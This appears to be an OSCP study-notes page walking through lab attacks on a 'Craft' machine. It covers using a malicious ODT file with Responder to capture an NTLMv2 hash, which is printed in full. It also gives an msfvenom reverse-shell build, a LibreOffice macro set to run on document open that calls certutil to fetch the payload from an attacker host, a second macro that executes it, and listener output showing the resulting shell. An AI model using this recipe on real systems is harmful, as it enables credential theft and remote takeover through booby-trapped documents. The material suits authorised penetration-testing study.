> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation-tools/opendocument-text-macro-obtain-ntlmv2-hash.md).

# OpenDocument Text Macro/ Obtain NTLMv2 Hash

<details>

<summary>Using ODT files to obtain Victim's NTLMv2 Hash</summary>

[https://github.com/rmdavy/badodf/blob/master/badodt.py
](<https://github.com/rmdavy/badodf/blob/master/badodt.py&#xD;&#xA;>)

```bash
pip2 install ezodf
pip2 install lxml
```

```bash
┌──(root㉿kali)-[/home/kali/Documents/pg_practice/192.168.159.188]
└─# python2 badodt.py

    ____            __      ____  ____  ______
   / __ )____ _____/ /     / __ \/ __ \/ ____/
  / __  / __ `/ __  /_____/ / / / / / / /_    
 / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/    
/_____/\__,_/\__,_/      \____/_____/_/     


Create a malicious ODF document help leak NetNTLM Creds

By Richard Davy 
@rd_pentest
www.secureyourit.co.uk


Please enter IP of listener: 192.168.45.5
/home/kali/Documents/pg_practice/192.168.159.188/bad.odt successfully created

┌──(root㉿kali)-[/home/kali/Documents/pg_practice/192.168.159.188]
└─# responder -I tun0 
[SMB] NTLMv2-SSP Client   : 192.168.159.188
[SMB] NTLMv2-SSP Username : CRAFT2\thecybergeek
[SMB] NTLMv2-SSP Hash     : thecybergeek::CRAFT2:0a65be65a38fa672:FB354A53146E6AB613B691BD2F6EEB59:0101000000000000805AC506C577D9013F0216865B9D7F31000000000200080030005A005400380001001E00570049004E002D00370055004C00550056004D003900320054005300360004003400570049004E002D00370055004C00550056004D00390032005400530036002E0030005A00540038002E004C004F00430041004C000300140030005A00540038002E004C004F00430041004C000500140030005A00540038002E004C004F00430041004C0007000800805AC506C577D90106000400020000000800300030000000000000000000000000300000F6804607C53AA7D4F73061B7A6CFFAE0255C0FE44BAC2EFEC2B04ABC10FFB16B0A001000000000000000000000000000000000000900220063006900660073002F003100390032002E003100360038002E00340035002E0035000000000000000000
```

</details>

### Generate Msfvenom payload

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=80 -f exe -o rev_80.exe
```

### Create new Document

<figure><img src="/files/DppUNTcB4RXlmhtndC0h" alt=""><figcaption></figcaption></figure>

#### Tools --> Macros --> Organize Macros --> Basic

<figure><img src="/files/ZI3O3kE7RTzkhjb4SxT7" alt=""><figcaption></figcaption></figure>

#### Click "Untitled 1" --> New

<figure><img src="/files/PzuSdjRlb1rk9Au8qTC6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/B375V1kGxfg6QtdUb7J9" alt=""><figcaption></figcaption></figure>

```vbnet
Sub Main
	Shell("certutil.exe -urlcache -f http://192.168.45.5/rev_80.exe c:\windows\temp\rev_80.exe")
End Sub
```

#### Ctrl+s --> Enter filename --> Ensure filetype is ODF Text Document (.odt) --> Save

<figure><img src="/files/A4S0jibAIsJDVRALbwEU" alt=""><figcaption></figcaption></figure>

#### Ensure that Macro auto starts when document is opened. Tools --> Customize

<figure><img src="/files/hMj4WHKU61aWVF3QsgW3" alt=""><figcaption></figcaption></figure>

#### Events Tab --> Select "Open Document --> Assign "Macro" --> Select filename --> Standard --> Module 1 --> Main --> Ok --> Ok --> Ctrl + S

<figure><img src="/files/jgSEyKCxHqznunU4XIp8" alt=""><figcaption></figcaption></figure>

#### Select that file and click upload (<http://192.168.163.169/#signup>)

<figure><img src="/files/EDHe9z54pnlaDtmGvQc3" alt=""><figcaption></figcaption></figure>

```bash
┌──(root㉿kali)-[/home/kali/Documents/pg_practice/192.168.163.169]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.163.169 - - [24/Apr/2023 03:43:14] "GET /rev_80.exe HTTP/1.1" 200 -
192.168.163.169 - - [24/Apr/2023 03:43:16] "GET /rev_80.exe HTTP/1.1" 200 -
```

#### Create one more document but macro is to run rev80.exe

<figure><img src="/files/Z3mr8MRIVQR45o70nIhw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DQHFJqsfVc9YgW8nNkY7" alt=""><figcaption></figcaption></figure>

```vbnet
Sub Main
	Shell("c:\windows\temp\rev_80.exe")
End Sub
```

<figure><img src="/files/lwsSb1gQlWjh0s7KZMeO" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DLj3NKjkVawfTqgAaugx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qKIx8o9780GNTMEyJsvu" alt=""><figcaption></figcaption></figure>

```bash
┌──(root㉿kali)-[/home/kali/Documents/pg_practice/192.168.163.169]
└─# nc -lvp 80
listening on [any] 80 ...
192.168.163.169: inverse host lookup failed: Unknown host
connect to [192.168.45.5] from (UNKNOWN) [192.168.163.169] 49687
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\LibreOffice\program>whoami
whoami
craft\thecybergeek
```